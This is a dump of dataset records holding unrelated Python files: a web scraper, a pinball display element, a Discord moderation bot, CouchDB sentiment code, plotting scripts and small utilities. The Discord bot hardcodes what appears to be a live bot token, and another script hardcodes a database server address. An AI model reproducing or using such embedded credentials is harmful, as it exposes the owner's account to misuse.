only for the given target word.\")\n parser.add_argument('-e', '--edge', type=str, default=None, nargs='*',\n help=\"Draw a Knowledge Graph only for the given edge word.\")\n parser.add_argument('-f', '--from-file', dest='file', default='',\n help=\"Give a file path and draw a Knowledge Graph plot from the file.\")\n\n args = parser.parse_args()\n if args.file:\n kg_df = pd.read_csv(args.file)\n else:\n headers = {'user-agent': \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36\"}\n url = args.url\n page = requests.get(url, headers = headers)\n soup = BeautifulSoup(page.text, 'lxml') #using lxml parser. You can use Python’s html.parser.\n paragraphs = []\n for i, item in enumerate(soup.find_all(\"p\")):\n paragraphs.append(item.text)\n text = ''.join(paragraphs)\n text = re.sub(\"[\\(\\[].*?[\\)\\]]\", \"\", text)\n text = text.rstrip(\"\\n\")\n sentences = getSentences(text)\n triples = []\n entity_pairs = []\n relations = []\n for sent in sentences:\n entity_pairs.append(get_entities(sent))\n relations.append(get_relation(sent))\n\n # extract subject\n source = [i[0] for i in entity_pairs]\n\n # extract object\n target = [i[1] for i in entity_pairs]\n\n kg_df = pd.DataFrame({'source':source, 'target':target, 'edge':relations})\n if not args.no_save:\n fname = '_'.join(url.rsplit('/',2)[-2:])\n kg_df.to_csv('data/'+fname+'.csv',index = False)\n if not args.no_graph:\n condition = np.array([True]*len(kg_df))\n if args.source:\n condition &= kg_df['source'].isin(args.source)\n if args.target:\n condition &= kg_df['target'].isin(args.target)\n if args.edge:\n condition &= kg_df['edge'].isin(args.edge)\n G=nx.from_pandas_edgelist(kg_df[condition], \"source\", \"target\",\n edge_attr=True, create_using=nx.MultiDiGraph())\n\n\n plt.figure(figsize=(12,8))\n\n pos = nx.spring_layout(G)\n nx.draw(G, with_labels=True, node_color='skyblue', edge_cmap=plt.cm.Blues, pos = pos)\n plt.show()\n","sub_path":"knowledge_graph.py","file_name":"knowledge_graph.py","file_ext":"py","file_size_in_byte":5856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"634527763","text":"\"\"\"Contains the parent class of the Text DisplayElement\"\"\"\n\n# text.py\n# Mission Pinball Framework\n# Written by Brian Madden & Gabe Knuth\n# Released under the MIT License. (See license info at the end of this file.)\n\n# Documentation and more info at http://missionpinball.com/mpf\n\nimport re\nfrom mpf.media_controller.core.display import DisplayElement\n\n\nclass Text(DisplayElement):\n \"\"\"Represents an text display element.\n\n Args:\n slide: The Slide object this animation is being added to.\n machine: The main machine object.\n text: A string of the text you'd like to display. If you have the\n multi-language plug-in enabled, this text will be run through the\n language engine before it's displayed.\n x: The horizontal position offset for the placement of this element.\n y: The vertical position offset for the placement of this element.\n h_pos: The horizontal anchor.\n v_pos: The vertical anchor.\n\n Note: Full documentation on the use of the x, y, h_pos, and v_pos arguments\n can be found at: https://missionpinball.com/docs/displays/display-elements/positioning/\n\n \"\"\"\n\n def __init__(self, slide, machine, text, x=None, y=None, h_pos=None,\n v_pos=None, layer=0, text_variables=None, **kwargs):\n\n super(Text, self).__init__(slide, x, y, h_pos, v_pos, layer)\n\n self.text = str(text)\n self.original_text = self.text\n self.fonts = machine.display.fonts\n self.language = machine.language\n self.slide = slide\n self.machine = machine\n self.layer = layer\n\n self.config = kwargs\n\n self.var_finder = re.compile(\"(?<=%)[a-zA-Z_0-9|]+(?=%)\")\n\n if not text_variables:\n text_variables = dict()\n\n self.adjust_colors(**self.config)\n\n self.config['color'] = self.adjusted_color\n self.config['bg_color'] = self.adjusted_bg_color\n\n # Set defaults\n if 'name' in self.config:\n self.name = self.config['name']\n else:\n self.name = text\n\n self._process_text(self.text, local_replacements=text_variables,\n local_type='event')\n\n def _get_text_vars(self):\n return self.var_finder.findall(self.original_text)\n\n def _process_text(self, text, local_replacements=None, local_type=None):\n # text: source text with placeholder vars\n # local_replacements: dict of var names & their replacements\n # local_type: type specifier of local replacements. e.g. \"event\" means\n # it will look for %event|var_name% in the text string\n\n text = str(text)\n\n if not local_replacements:\n local_replacements = list()\n\n for var_string in self._get_text_vars():\n if var_string in local_replacements:\n text = text.replace('%' + var_string + '%',\n str(local_replacements[var_string]))\n self.original_text = text\n\n elif local_type and var_string.startswith(local_type + '|'):\n text = text.replace('%' + var_string + '%',\n str(local_replacements[var_string.split('|')[1]]))\n self.original_text = text\n\n if self._get_text_vars():\n self._setup_variable_monitors()\n\n self.update_vars_in_text()\n\n def update_vars_in_text(self):\n\n text = self.original_text\n\n for var_string in self._get_text_vars():\n if var_string.startswith('machine|'):\n try:\n text = text.replace('%' + var_string + '%',\n str(self.machine.machine_vars[var_string.split('|')[1]]))\n except KeyError:\n text = ''\n\n elif self.machine.player:\n if var_string.startswith('player|'):\n text = text.replace('%' + var_string + '%',\n str(self.machine.player[var_string.split('|')[1]]))\n elif var_string.startswith('player'):\n player_num, var_name = var_string.lstrip('player').split('|')\n try:\n value = self.machine.player_list[int(player_num)-1][var_name]\n\n if value is not None:\n text = text.replace('%' + var_string + '%', str(value))\n else:\n text = ''\n except IndexError:\n text = ''\n else:\n text = text.replace('%' + var_string + '%',\n str(self.machine.player[var_string]))\n\n self.update_text(text)\n\n def update_text(self, text):\n # todo auto-fit text to a certain size bounding box\n\n text = str(text)\n\n if text:\n if 'min_digits' in self.config:\n text = text.zfill(self.config['min_digits'])\n\n if ('number_grouping' in self.config and\n self.config['number_grouping']):\n\n # find the numbers in the string\n number_list = [s for s in text.split() if s.isdigit()]\n\n # group the numbers and replace them in the string\n for item in number_list:\n grouped_item = self.group_digits(item)\n text = text.replace(str(item), grouped_item)\n\n # Are we set up for multi-language?\n if self.language:\n text = self.language.text(text)\n\n self.text = text\n self.render()\n\n def _player_var_change(self, player_num, target_player, var_name, value,\n **kwargs):\n # value = str(value)\n #\n # if (player_num and target_player and\n # int(player_num) == int(target_player)):\n # player_num = str(player_num)\n # new_text = self.original_text.replace(\n # '%player{}|{}%'.format(player_num, var_name), value)\n # new_text = new_text.replace('%player|{}%'.format(var_name), value)\n # new_text = new_text.replace('%{}%'.format(var_name), value)\n #\n # self.update_text(new_text)\n #\n # elif player_num and not target_player:\n # new_text = self.original_text.replace(\n # '%player|{}%'.format(var_name), value)\n # new_text = new_text.replace('%{}%'.format(var_name), value)\n #\n # self.update_text(new_text)\n\n self.update_vars_in_text()\n\n def _machine_var_change(self, value, change, prev_value, var_name,\n **kwargs):\n\n self.update_vars_in_text()\n\n # return self.update_text(self.original_text.replace(\n # '%machine|{}%'.format(var_name), str(value)))\n\n def _setup_variable_monitors(self):\n\n for var_string in self._get_text_vars():\n if '|' not in var_string:\n self.add_player_var_handler(name=var_string, player=None)\n else:\n source, variable_name = var_string.split('|')\n if source.lower().startswith('player'):\n\n if source.lstrip('player'):\n self.add_player_var_handler(name=variable_name,\n player=source.lstrip('player'))\n else:\n self.add_player_var_handler(name=var_string,\n player=self.machine.player['number'])\n\n elif source.lower() == 'machine':\n self.add_machine_var_handler(name=variable_name)\n\n def add_player_var_handler(self, name, player):\n self.machine.events.add_handler('player_' + name,\n self._player_var_change,\n target_player=player,\n var_name=name)\n\n def add_machine_var_handler(self, name):\n self.machine.events.add_handler('machine_var_' + name,\n self._machine_var_change,\n var_name=name)\n\n def render(self):\n self.element_surface = self.fonts.render(text=self.text, **self.config)\n self.set_position(self.x, self.y, self.h_pos, self.v_pos)\n self.dirty = True\n\n self.slide.refresh(force_dirty=True)\n\n def scrub(self):\n self.machine.events.remove_handler(self._player_var_change)\n self.machine.events.remove_handler(self._machine_var_change)\n\n def group_digits(self, text, separator=',', group_size=3):\n \"\"\"Enables digit grouping (i.e. adds comma separators between\n thousands digits).\n\n Args:\n text: The incoming string of text\n separator: String of the character(s) you'd like to add between the\n digit groups. Default is a comma. (\",\")\n group_size: How many digits you want in each group. Default is 3.\n\n Returns: A string with the separator added.\n\n MPF uses this method instead of the Python locale settings because the\n locale settings are a mess. They're set system-wide and it's really hard\n to make them work cross-platform and there are all sorts of external\n dependencies, so this is just way easier.\n\n \"\"\"\n digit_list = list(text.split('.')[0])\n\n for i in range(len(digit_list))[::-group_size][1:]:\n digit_list.insert(i+1, separator)\n\n return ''.join(digit_list)\n\n\ndisplay_element_class = Text\ncreate_asset_manager = False\n\n# The MIT License (MIT)\n\n# Copyright (c) 2013-2015 Brian Madden and Gabe Knuth\n\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n","sub_path":"mpf/media_controller/elements/text.py","file_name":"text.py","file_ext":"py","file_size_in_byte":10728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"329487580","text":"class ServiceError(Exception):\n status_code = 400\n\n def __init__(self, message, status_message=None, status_code=None, payload=None):\n super(ServiceError, self).__init__(self)\n self.message = message\n if status_code is not None:\n self.status_code = status_code\n self.status_message = status_message\n self.payload = payload\n\n def to_dict(self):\n data_dict = dict(self.payload or ())\n data_dict['message'] = self.message\n if self.status_message:\n data_dict['status'] = self.status_message\n return data_dict\n\n\nclass InvalidUsage(ServiceError):\n def __init__(self, message, status_code=None, payload=None):\n super(InvalidUsage, self).__init__(\n message, status_message=\"invalid_usage\",\n status_code=status_code, payload=payload\n )\n\n\nclass NoDataError(ServiceError):\n def __init__(self, message, status_code=None, payload=None):\n super(NoDataError, self).__init__(\n message, status_message=\"error\",\n status_code=status_code, payload=payload\n )","sub_path":"weather_service/utils/errors.py","file_name":"errors.py","file_ext":"py","file_size_in_byte":1110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"622141463","text":"import random\r\n\r\nimport discord\r\nimport asyncio\r\n\r\nfrom discord import Member, Guild, User\r\n\r\nclient = discord.Client()\r\n\r\n\r\n#############################################################\r\n\r\nautoroles = {\r\n 481123510945841152: {'memberroles': [482632835195338763], 'rainbowroles': [759021202743492610]}\r\n}\r\n\r\n\r\n@client.event\r\nasync def on_ready():\r\n print(\"Welcome Home Sir\")\r\n client.loop.create_task(status_task())\r\n\r\n\r\n\r\n\r\n\r\nasync def status_task():\r\n colors = [discord.Colour.red(), discord.Colour.orange(), discord.Colour.gold(), discord.Colour.green(),\r\n discord.Colour.blue(), discord.Colour.dark_purple()]\r\n while True:\r\n await client.change_presence(activity=discord.Game(name=\"mit 187 User\"), status=discord.Status.online)\r\n await asyncio.sleep(4)\r\n\r\n guild: Guild = client.get_guild(481123510945841152)\r\n if guild:\r\n role = guild.get_role(759021202743492610)\r\n if role:\r\n if role.position < guild.get_member(client.user.id).top_role.position:\r\n await role.edit(colour=random.choice(colors))\r\n\r\ndef is_not_pinned(mess):\r\n return not mess.pinned\r\n\r\n@client.event\r\nasync def on_member_join(member):\r\n guild: Guild = member.guild\r\n if not member.bot:\r\n embed = discord.Embed(title='Willkommen auf Milfhunter-Gang 💖 {} '.format(member.name),\r\n description='Wir heißen dich herlich Willkommen auf unserem Server!', color=15158332)\r\n embed.add_field(name=\"Server beigetreten\", value=member.joined_at.strftime(\"%d.%m.%Y, %H:%M:%S\"),\r\n inline=True)\r\n embed.add_field(name=\"Discord beigetreten\", value=member.created_at.strftime(\"%d.%m.%Y, %H:%M:%S\"),\r\n inline=True)\r\n embed.set_footer(text=\"bot by @hackenistharam\")\r\n\r\n try:\r\n if not member.dm_channel:\r\n await member.create_dm()\r\n await member.dm_channel.send(embed=embed)\r\n except discord.errors.Forbidden:\r\n print(\"Es konnte keine Willkommensnachricht an {} gesendet werden.\".format(member.name))\r\n autoguild = autoroles.get(guild.id)\r\n if autoguild and autoguild['memberroles']:\r\n for roleId in autoguild['memberroles']:\r\n role = guild.get_role(roleId)\r\n if role:\r\n await member.add_roles(role, reason='AutoRoles', atomic=True)\r\n\r\n@client.event\r\nasync def on_message(message):\r\n if message.author.bot:\r\n return\r\n if (\"/help\") in message.content:\r\n embed = discord.Embed(title=\"Hilfetext\", description=\"**/help** - Zeigt diesen Text an\\r\\n\"\r\n \"**/userinfo** - Zeigt dir Informationen\\r\\n\"\r\n \"**/kill** - Tötet einen Member\\r\\n\"\r\n \"**/ban** - bannt einen Member\\r\\n\"\r\n \"**/kick** - kickt einen Member\\r\\n\"\r\n \"**/meme** - erzählt dir ein meme\\r\\n\"\r\n \"**/clear** - cleart den Chat\\r\\n\"\r\n \"**/version** - zeigt dir die Version an\",\r\n color=15158332)\r\n await message.channel.send(embed=embed)\r\n if message.content.startswith(\"/userinfo\"):\r\n args = message.content.split(' ')\r\n if len(args) == 2:\r\n member: Member = discord.utils.find(lambda m: args[1] in m.name, message.guild.members)\r\n if member:\r\n embed = discord.Embed(title=\"Userinfo für {}\".format(member.name),\r\n description=\"Dies ist eine Userinfo für den User {}\".format(member.mention),\r\n color=15158332)\r\n embed.add_field(name=\"Server beigetreten\", value=member.joined_at.strftime(\"%d.%m.%Y %H:%M:%S\"),\r\n inline=True)\r\n embed.add_field(name=\"Discord beigetreten\", value=member.created_at.strftime(\"%d.%m.%Y %H:%M:%S\"),\r\n inline=True)\r\n embed.set_footer(text=\"Invision Bot\")\r\n mess = await message.channel.send(embed=embed)\r\n await mess.add_reaction(':Brimstone_artwork:758768207531606076 ')\r\n\r\n if message.content.startswith(\"/kill\"):\r\n args = message.content.split(' ')\r\n if len(args) == 2:\r\n member: Member = discord.utils.find(lambda m: args[1] in m.name, message.guild.members)\r\n if member:\r\n await message.channel.send(\"Du hast den User {0} getötet\".format(member.mention))\r\n await message.add_reaction(\"☠\")\r\n\r\n\r\n if message.content.startswith(\"/clear\"):\r\n if message.author.permissions_in(message.channel).manage_messages:\r\n args = message.content.split(' ')\r\n if len(args) == 2:\r\n if args[1].isdigit():\r\n count = int(args[1]) + 1\r\n deleted = await message.channel.purge(limit=count, check=is_not_pinned)\r\n await message.channel.send(\"{} Nachrichten gelöscht!\".format(len(deleted)-1))\r\n\r\n if message.content.startswith(\"/ban\") and message.author.guild_permissions.ban_members:\r\n args = message.content.split(' ')\r\n if len(args) == 2:\r\n member: Member = discord.utils.find(lambda m: args[1] in m.name, message.guild.members)\r\n if member:\r\n await member.ban()\r\n await message.channel.send(f'Member {member.name} gebannt!')\r\n else:\r\n await message.channel.send(f'Kein User mit dem Namen {args[1]} gefunden.')\r\n if message.content.startswith(\"/kick\") and message.author.guild_permissions.kick_members:\r\n args = message.content.split(' ')\r\n if len(args) == 2:\r\n member: Member = discord.utils.find(lambda m: args[1] in m.name, message.guild.members)\r\n if member:\r\n await member.kick()\r\n await message.channel.send(f'Member {member.name} gekickt!')\r\n else:\r\n await message.channel.send(f'Kein User mit dem Namen {args[1]} gefunden.')\r\n\r\n\r\n if message.content.startswith(\"/meme\"):\r\n embed = discord.Embed(title=\"memes\", description=\"Du bist das meme hier ;:D\", color=15158332)\r\n embed.set_footer(text=\"by @hackenistharam\")\r\n await message.channel.send(embed=embed)\r\n\r\n if message.content.startswith(\"/team\"):\r\n embed = discord.Embed(title=\"Team Liste\", description=\"**Owner**: X-Ray.ReDeX\\r\\n\"\r\n \"\\r\\n\"\r\n \"**Admins**:\\r\\n\"\r\n \"HackenIstHaram\\r\\n\"\r\n \"EinsRandomLel\\r\\n\"\r\n \"Holyboomboomreis\\r\\n\"\r\n \"ReIndex\\r\\n\"\r\n \"X-Ray.KcRumba\\r\\n\"\r\n \"\", color=15158332)\r\n embed.set_footer(text=\"bot by @hackenistharam\")\r\n await message.channel.send(embed=embed)\r\n\r\n\r\n if message.content.startswith(\"/version\"):\r\n await message.channel.send(\"Version: 2.0\")\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nclient.run(\"NzUyMTkzNjgyNDY3NDU1MTE2.X1UE9A.1q2Feya-v1kKwSLS4Kn44WYXM78\")","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":7765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"540346232","text":"import os\n\nimport sys\n\nsys.path.insert(1, f'{os.path.dirname(os.getcwd())}\\\\models\\\\')\n\nimport pandas as pd\n\nimport requests\n\nfrom Mapper import df_ISO3_mapper\n\n\ndef get_PL_table(url):\n x = requests.get(url)\n league_table = pd.read_html(x.content)[0]\n del league_table['Last 6']\n \n return league_table\n\n\ndef save_csv(tab):\n tab_path = f'{os.path.dirname(os.getcwd())}\\\\data\\\\Table\\\\table.csv'\n tab.to_csv(tab_path, index=0, sep=',')\n\n\n\ndef collect(mapper):\n print('Collecting current table...')\n table_url = 'https://www.skysports.com/premier-league-table'\n pl_table = get_PL_table(table_url)\n pl_table = df_ISO3_mapper(pl_table, mapper)\n save_csv(pl_table)\n","sub_path":"src/web-scrapers/GetTable.py","file_name":"GetTable.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"353697699","text":"# Author : Yangguang Shi\n# Student Number : 626689\n# Supervisor : Prof. Richard Sinnott\n# COMP90055 COMPUTING PROJECT\n# Project Title : Big Data Platform for Twitter-based Brand Analytics\n\n# Caculate which brand is the most popular one and label this area with the brand to the suburb_boundary database\n\nimport sys \nimport json\nimport couchdb\n\ncouch = couchdb.Server('http://115.146.89.7:5984/')\ncdb = couch['softdrinks']\ncdb_t = couch['suburb_boundaries']\n\ntemp_key = ''\ntemp_brand = ''\npre_senti = -1\ntemp_count = 0\ncounter = 0\n\nfor doc in cdb.view('postcode/suburb_mostpop', group_level=2):\n\tif doc.key[0] != temp_key:\n\t\tif temp_key == None:\n\n\t\t\ttemp_key = doc.key[0]\n\t\t\ttemp_brand = doc.key[1]\n\t\t\tpre_senti = doc.value[0]\n\n\t\tif temp_key != None:\n\t\t\tcounter +=1\n\t\t\tprint(temp_key, temp_brand, pre_senti,temp_count)\n\t\t\ttry:\n\t\t\t\tdbData = cdb_t[temp_key]\n\t\t\t\ttop_softdrink = {}\n\t\t\t\ttop_softdrink['brand'] = temp_brand\n\t\t\t\ttop_softdrink['sentiment_score'] = pre_senti\n\t\t\t\ttop_softdrink['count'] = temp_count\n\t\t\t\tdbData['top_softdrink'] = top_softdrink\n\t\t\t\tprint(top_softdrink)\n\t\t\t\tcdb_t.save(dbData)\n\t\t\t\tprint(dbData['top_softdrink'])\n\t\t\texcept Exception as e:\n\t\t\t\tprint(\"Index error\")\n\t\t\ttemp_key = doc.key[0]\n\t\t\ttemp_brand = doc.key[1]\n\t\t\tpre_senti = doc.value[0]\n\t\t\ttemp_count = doc.value[1]\n\n# Find most popular brand based on sentiment score\n\tif doc.key[0] == temp_key:\n\t\tkey = doc.key[0]\n\t\tbrand = doc.key[1]\n\t\tsentiment_score = doc.value[0]\n\t\tcount = doc.value[1]\n\t\tif sentiment_score > pre_senti:\n\t\t\ttemp_key = key\n\t\t\ttemp_brand = brand\n\t\t\tpre_senti = sentiment_score\n\t\t\ttemp_count = count\n\t\n# Find most popular brand based on count\t\t\n\t# if doc.key[0] == temp_key:\n\t# \tkey = doc.key[0]\n\t# \tbrand = doc.key[1]\n\t# \tsentiment_score = doc.value[0]\n\t# \tcount = doc.value[1]\n\t# \tif count > temp_count:\n\t# \t\ttemp_key = key\n\t# \t\ttemp_brand = brand\n\t# \t\tpre_senti = sentiment_score\n\t# \t\ttemp_count = count\t\n\nprint('Finished and count is: ', counter)\n\n\n\n\n\n","sub_path":"Data_analytics/suburb_mostpop_brand.py","file_name":"suburb_mostpop_brand.py","file_ext":"py","file_size_in_byte":1954,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"501550746","text":"\"\"\"\nQSlider class object presents the users with a groove over which a handle can\nbe moved. It is a classic widget to control a bounded value. Position of the handle\non the grovve is equivalent to an integer between the lower and the upper bounds of\nthe control.\n\"\"\"\nimport sys\nfrom PyQt4.QtCore import *\nfrom PyQt4.QtGui import *\n\nclass sliderdemo(QWidget):\n def __init__(self, parent=None):\n super(sliderdemo, self).__init__(parent)\n\n layout = QVBoxLayout()\n\n self.l1 = QLabel(\"Try slide it!\")\n self.l1.setAlignment(Qt.AlignCenter)\n layout.addWidget(self.l1)\n\n self.s1 = QSlider(Qt.Horizontal)\n self.s1.setMinimum(10)\n self.s1.setMaximum(30)\n self.s1.setValue(20)\n self.s1.setTickPosition(QSlider.TicksBelow)\n self.s1.setTickInterval(5)\n self.s1.valueChanged.connect(self.valuechange)\n layout.addWidget(self.s1)\n\n self.setLayout(layout)\n self.setWindowTitle(\"SpinBox demo\")\n\n def valuechange(self):\n size = self.s1.value()\n self.l1.setFont(QFont(\"Arial\", size))\n self.l1.setText(\"Value: \" + str(size))\n\ndef main():\n app = QApplication(sys.argv)\n ex = sliderdemo()\n ex.show()\n sys.exit(app.exec_())\n\nif __name__ == \"__main__\":\n main()\n\n","sub_path":"4-basic_widgets/slider.py","file_name":"slider.py","file_ext":"py","file_size_in_byte":1284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"300998383","text":"import numpy as np\nimport pylab\nimport matplotlib as mpl\nfrom matplotlib import rc\nrc('font',**{'family':'sans-serif','sans-serif':['Helvetica']})\nrc('text', usetex=True)\n\nlistarr = open(\"photoz_list.txt\")\n\n# obj_no spec_z phot_z age_old age_new f_old_V old_modifier EBV norm chi\n# obj_no spec_z phot_z age_old age_new f_old_V EBV norm chi SFR stellar_mass\n### Find the number of data points, catastrophic outliers and sigma_dz, sigma_dz_NMAD and sigma_dz_clipped\n\nfor i in range(20):\n name = listarr.readline().strip()\n data = np.loadtxt(name)\n no = len(data) \n\n cat = 0.\n dz = (data[:,1] - data[:,2])/(1+data[:,1])\n sig_dz = np.std(dz)\n MAD = np.median(np.abs(dz - np.median(dz)))\n\n gooddata = []\n\n for i in range(len(data)):\n if np.abs(dz[i]) > 0.15:\n cat = cat+1.\n else:\n gooddata.append(i)\n\n data_nocat = np.zeros(len(gooddata)*11) ####11\n data_nocat.shape = (len(gooddata), 11) ####11\n\n for i in range(len(gooddata)):\n data_nocat[i, :] = data[gooddata[i], :]\n\n sigma_dz_clipped = np.std((data_nocat[:,1] - data_nocat[:,2])/(1+data_nocat[:,1]))\n\n \"\"\"\n ### Calculate star formation rates and stellar masses for the full sample and for the well fit sample\n SFR = data[:,9]\n mass = data[:,10]\n good_SFR = data_nocat[:,9]\n good_mass = data_nocat[:,10]\n \"\"\"\n ### Various plotting codes\n\n # obj_no spec_z phot_z age_old age_new f_old_V EBV norm chi SFR stellar_mass\n\n #Plots spec_z vs phot_z with a colorbar of stellar pop age\n maxxy = np.max([np.max(data[:,1]), np.max(data[:,2])]) + 0.05\n pylab.figure()#figsize=(16,12))\n pylab.scatter(data[:,1], data[:,2], c = data[:,5])#, norm=mpl.colors.LogNorm()) #3\n pylab.plot([0., 7], [0., 7], color=\"black\", lw=2)\n pylab.plot([0., 7], [0. - 0.15, 0.85*7 -0.15], color=\"grey\")\n pylab.plot([0., 7], [0. + 0.15, 1.15*7 + 0.15], color=\"grey\")\n pylab.xlim(0, 7)\n pylab.ylim(0, 7)\n pylab.ylabel(\"$z_{phot}$\", size=18)\n pylab.xlabel(\"$z_{spec}$\", size=18)\n cbar = pylab.colorbar()\n cbar.set_label(\"Fraction burst at 5000A.\", size=16)#Age of Stellar Pop. (yrs)\n \n #pylab.annotate(name, xy=(0.2, 6.7))\n pylab.annotate(\"$\\mathrm{N_{outliers}}$ = \" + str(cat), xy=(4.5,0.85))\n pylab.annotate(\"$\\mathrm{\\sigma_{dz}}$ = \" + str(round(sig_dz, 4)), xy=(4.5,0.6))\n pylab.annotate(\"$\\mathrm{\\sigma_{dz\\_NMAD}}$ = \" + str(round(MAD*1.483, 4)), xy=(4.5,0.35))\n pylab.annotate(\"$\\mathrm{\\sigma_{dz\\_clipped}}$ = \" + str(round(sigma_dz_clipped, 4)), xy=(4.5, 0.1))\n pylab.savefig(\"photoz/plots/\" + name[6:-4])\n\n\n\"\"\"\n#Plots age of stellar population vs extinction EBV value\npylab.figure()\npylab.scatter(data[:, 3]*10**-9, data[:,6], color=\"red\")\npylab.scatter(data_nocat[:, 3]*10**-9, data_nocat[:,6], color=\"blue\")\npylab.xlabel(\"Age of Stellar Pop. (Gyr)\", size=\"16\")\npylab.xlim(5*10**-3, 15)\npylab.xscale(\"log\")\npylab.ylabel(\"E(B - V) (mag)\", size=\"16\")\npylab.show()\n\n\n#Plots stellar mass vs star formation rate\npylab.figure()\npylab.scatter(mass, SFR, color=\"red\")\npylab.scatter(good_mass, good_SFR, color=\"blue\")\npylab.xlabel(\"Stellar Mass (Solar Masses)\", size=\"16\")\npylab.yscale(\"log\")\npylab.xscale(\"log\")\npylab.ylabel(\"SFR (Solar Masses per year)\", size=\"16\")\npylab.ylim(10**-5, 5*10**3)\npylab.xlim(10**5, 5*10**12)\npylab.show()\n\"\"\"\n","sub_path":"2comp/plot_photoz_2comp.py","file_name":"plot_photoz_2comp.py","file_ext":"py","file_size_in_byte":3330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"147695703","text":"\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport os\n\"\"\" \nPlotting a diagonal correlation matrix\n======================================\n\n\"\"\"\n\n# import the dataframe\n\ndf = pd.read_csv(\"/home/edogerde/Bureau/ROI.csv\")\n\n# seaborn\nsns.set(style=\"white\")\n\n# Generate a large random dataset\nd = df[[\"label\", \"Patients\",\"mean\" ]]\ndt= d.pivot(columns=\"label\", index = \"Patients\" , values= \"mean\")\n\n# Compute the correlation matrix\ncorr = dt.corr()\n\n### Create the matrix figure with seaborn\n# Generate a mask for the upper triangle\nmask = np.zeros_like(corr, dtype=np.bool)\nmask[np.triu_indices_from(mask)] = True\n\n# Set up the matplotlib figure\nf, ax = plt.subplots(figsize=(20, 30))\n\n# Generate a custom diverging colormap\ncmap = sns.diverging_palette(220, 10, as_cmap=True)\n\n# Draw the heatmap with the mask and correct aspect ratio\nsns.heatmap(corr, mask=mask, cmap=cmap, vmax=.7,\n square=True, xticklabels=5, yticklabels=5,\n linewidths=.8, cbar_kws={\"shrink\": .5}, ax=ax)\nplt.show()\n\n### Create the matrix figure with mathplot\nplt.imshow(corr, cmap=plt.cm.hot)\nplt.colorbar()\nplt.show()\n\n### Pattern amount subject\nsns.set(style=\"whitegrid\")\nsns.barplot(y=\"mean\", x=\"Patients\", hue = \"label\" , data= d,) \nplt.show()","sub_path":"analysis/analysis_roi/1_Dosimetry_corr_matrix.py","file_name":"1_Dosimetry_corr_matrix.py","file_ext":"py","file_size_in_byte":1290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"366415242","text":"from numpy import *\nimport csv\n\n#\ndef classifyDescriptors(model, name_number_file, index_file, output_file):\n descriptor_numbers_pool = []\n model = model.translate({ord(c): None for c in '[_]'})\n current_set = [int(s) for s in model.split() if s.isdigit()]\n for d in current_set:\n if d not in descriptor_numbers_pool:\n descriptor_numbers_pool.append(d)\n descriptor_numbers_pool.sort()\n\n #\n with open(name_number_file, mode='r') as csvfile:\n datareader = csv.reader(csvfile, delimiter=',', quotechar=' ')\n desc_name_nums = array([row for row in datareader if row != []], order='C')\n\n descriptor_names_pool = []\n for d in descriptor_numbers_pool:\n temp_index = 0\n for nn in desc_name_nums:\n if d == temp_index:\n descriptor_names_pool.append([nn[0], temp_index])\n temp_index = temp_index + 1\n\n print(descriptor_numbers_pool)\n print(descriptor_names_pool)\n\n #\n with open(index_file, mode='r') as csvfile:\n datareader = csv.reader(csvfile, delimiter=',')\n desc_index = array([row for row in datareader if row != []], order='C')\n\n for d in descriptor_names_pool:\n for di in desc_index:\n if di[1] in d:\n d.append(di[0])\n d.append(di[2])\n d.append(di[3])\n d.append(di[4])\n\n #\n fileOut = open(output_file, 'w', newline='')\n fileW = csv.writer(fileOut)\n fileW.writerow(['Descriptor Temp ID', 'Descriptor Actual ID', 'Descriptor Name', 'Descriptor Details', 'Block', 'Sub-Block'])\n for d in descriptor_names_pool:\n fileW.writerow([d[1], d[2], d[0], d[3], d[4], d[5]])\n\n\ndesc_name_number_file = 'UsedDesc_InhiLabels_275m.csv'\ndescriptor_index_file = 'Descriptor_List.csv'\noutput_file = 'Inhibitors_275m_Final_Descriptors.csv'\nmodel = '[1_ 2_ 36_ 52_ 61_ 89_ 158_ 203_ 435_ 539_ 584]'\nclassifyDescriptors(model, desc_name_number_file, descriptor_index_file, output_file)","sub_path":"Mining Program/AnalyzeResults2.py","file_name":"AnalyzeResults2.py","file_ext":"py","file_size_in_byte":2000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} 